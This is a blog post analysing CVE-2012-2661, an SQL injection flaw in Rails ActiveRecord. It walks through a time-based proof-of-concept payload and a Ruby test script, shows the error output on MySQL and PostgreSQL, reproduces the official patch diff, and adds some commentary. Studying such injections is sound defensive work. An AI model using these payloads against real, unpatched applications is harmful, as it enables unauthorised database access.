CVE-2012-2661: SqlInjection on Rails
SQL Injection is the most dangerous risk a web application is exposed to. If an input is not fully sanitized before used to build a SQL query it is possible to subvert the query itself injecting pieces of arbitrary SQL code.
Results can vary from unauthorized data access to system compromize.
ActiveRecord is the default ORM for Rails web application framework and it suffered from a SQL Injection form patched last 31 May.
The attack
You’re using an ActiveRecport object and you’re taking something from the view layer passing to your model fetching data.
When you try to pass an Hash object as field to where method as example, injecting some SQL code into it, ActiveRecord fails to build the SQL Query and the injection occurs as explained in this blog post.
``` ruby the string exploiting CVE-2012-2661 User.where(:password => {‘test where (select 0) or sleep(1); – .user’ => {‘id’ => ‘1234’}}).all
### Mysql
It seems that all the stuff before the leading '.' in the Hash key value is
taken and injected as _WHERE_ clause in a SHOW TABLE statement when used with
MySQL as backend RDBMS.
``` ruby A very lame boilerplate exploiting attempt
#!/usr/bin/env ruby
require 'active_record'
ActiveRecord::Base.establish_connection(
:adapter => "mysql2",
:host => "localhost",
:username => "thesp0nge",
:password => "",
:database => "test"
)
class User < ActiveRecord::Base
end
puts "MySQL2"
begin
User.where(:password => {'test where (select 0) or sleep(1); -- .user' => {'id' => '1234'}}).all
rescue Exception => e
puts e.message
end
This code resulted in the following error printed with some delay telling the sleep() has been called:
$ ./cve_2012_2661.rb
MySQL2
Mysql2::Error: Unknown column 'test where (select 0) or sleep(1); -- .user.id' in 'where clause': SELECT `users`.* FROM `users` WHERE `test where (select 0) or sleep(1); -- `.`user`.`id` = '1234'
Executing this code mangling the database name, test, with something the user thesp0nge is not allowed to access, let’s say the mysql database, output error indicates where the injection really occurs:
$ ./cve_2012_2661.rb
MySQL2
Mysql2::Error: Access denied for user ''@'localhost' to database 'mysql': SHOW TABLES IN mysql where (select 0) or sleep(1); -- LIKE 'user'
From the error message it seems either that ActiveRecord didn’t try to authenticate with user thesp0nge, leaving the field value empty. I tried a bit to exploit either the attack vector in order to put an arbitrary value as connection username but I failed, maybe I’ll return on this another time.
PostgreSQL
The same attack vector applied on a postgresql driven database connection resulted in a completely different error message:
$ ./cve_2012_2661.rb
PostgreSQL
PG::Error: ERROR: schema "test where (select 0) or sleep(1) ; -- " does not exist
: SELECT "users".* FROM "users" WHERE "test where (select 0) or sleep(1) ; -- "."user"."id" = '1234'
Using another RDBMS it seems that attack payload was injected straight forward in the WHERE clause for the SELECT statement.
Crafting more the attack payload I found something intersting, the error message changed significantly. Fetching the users removing the dot from the hash key value, resulted the adapter to think the key was a table name.
User.where(:password => {'1=0 or sleep(1); -- user' => {'id' => '1234'}}).all
./cvs_2012_2661.rb
PostgreSQL
PG::Error: ERROR: missing FROM-clause entry for table "1=0 or sleep(1); -- user"
LINE 1: SELECT "users".* FROM "users" WHERE "1=0 or sleep(1); -- us...
^
: SELECT "users".* FROM "users" WHERE "1=0 or sleep(1); -- user"."id" = '1234'
However it seems that PostgreSQL adapter was smart enough to double any “ character so I was not able to close the WHERE part of the SELECT.
The patch
Aaron Patterson submitted a patch for Rails 3.0, 3.1 and 3.2 latest Friday. Files involved in the patch are not the adapters but the code building the SQL predicate from the Hash object.
``` ruby the patch for rails 3.2 From 71f7917c553cdc9a0ee49e87af0efb7429759718 Mon Sep 17 00:00:00 2001 From: Aaron Patterson aaron.patterson@gmail.com Date: Wed, 30 May 2012 15:04:11 -0700 Subject: [PATCH] predicate builder should not recurse for determining where columns. Thanks to Ben Murphy for reporting this
CVE-2012-2661
…/associations/association_scope.rb | 17 ++++++++++++++++- …/active_record/relation/predicate_builder.rb | 6 +++— activerecord/test/cases/relation/where_test.rb | 19 +++++++++++++++++++ 3 files changed, 38 insertions(+), 4 deletions(-) create mode 100644 activerecord/test/cases/relation/where_test.rb
diff –git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb index b3819e3..f9cffa4 100644 — a/activerecord/lib/active_record/associations/association_scope.rb +++ b/activerecord/lib/active_record/associations/association_scope.rb @@ -75,7 +75,7 @@ module ActiveRecord
conditions.each do |condition|
if options[:through] && condition.is_a?(Hash) - condition = { table.name => condition } + condition = disambiguate_condition(table, condition)
end
scope = scope.where(interpolate(condition)) @@ -114,6 +114,21 @@ module ActiveRecord
end
end
- def disambiguate_condition(table, condition)
- if condition.is_a?(Hash)
- Hash[
-
condition.map do k, v - if v.is_a?(Hash)
- [k, v]
- else
-
[table.table_alias table.name, { k => v }] - end
- end
- ]
- else
- condition
- end
- end end end end diff –git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb index a789f48..9c84d8a 100644 — a/activerecord/lib/active_record/relation/predicate_builder.rb +++ b/activerecord/lib/active_record/relation/predicate_builder.rb @@ -1,16 +1,16 @@ module ActiveRecord class PredicateBuilder # :nodoc:
- def self.build_from_hash(engine, attributes, default_table)
-
def self.build_from_hash(engine, attributes, default_table, check_column = true) predicates = attributes.map do |column, value| table = default_table
if value.is_a?(Hash) table = Arel::Table.new(column, engine)
- build_from_hash(engine, value, table)
-
build_from_hash(engine, value, table, false) else column = column.to_s
- if column.include?(‘.’)
- if check_column && column.include?(‘.’) table_name, column = column.split(‘.’, 2) table = Arel::Table.new(table_name, engine) end diff –git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb new file mode 100644 index 0000000..90c690e — /dev/null +++ b/activerecord/test/cases/relation/where_test.rb @@ -0,0 +1,19 @@ +require “cases/helper” +require ‘models/post’ + +module ActiveRecord
- class WhereTest < ActiveRecord::TestCase
- fixtures :posts +
- def test_where_error
- assert_raises(ActiveRecord::StatementInvalid) do
- Post.where(:id => { ‘posts.author_id’ => 10 }).first
- end
- end +
- def test_where_with_table_name
- post = Post.first
- assert_equal post, Post.where(:posts => { ‘id’ => post.id }).first
- end
- end +end – 1.7.5.4 ```
Some thoughts
The real problem I see here is that patch is a real quick and dirty fix to mitigate this, that doesn’t mean a positive approach has been done to make the ActiveRecord::Base a safe place to be.
I don’t even know if a real and dangerous exploit can be written for this injection but I do think a sort of input validation must be applied in a more structured way, maybe using Owasp Esapi for Ruby.
However Rails is still one of my web framework of choice with great hackers working on it.
It’s interesting now, looking how other ORMs react to unsolicited parameters.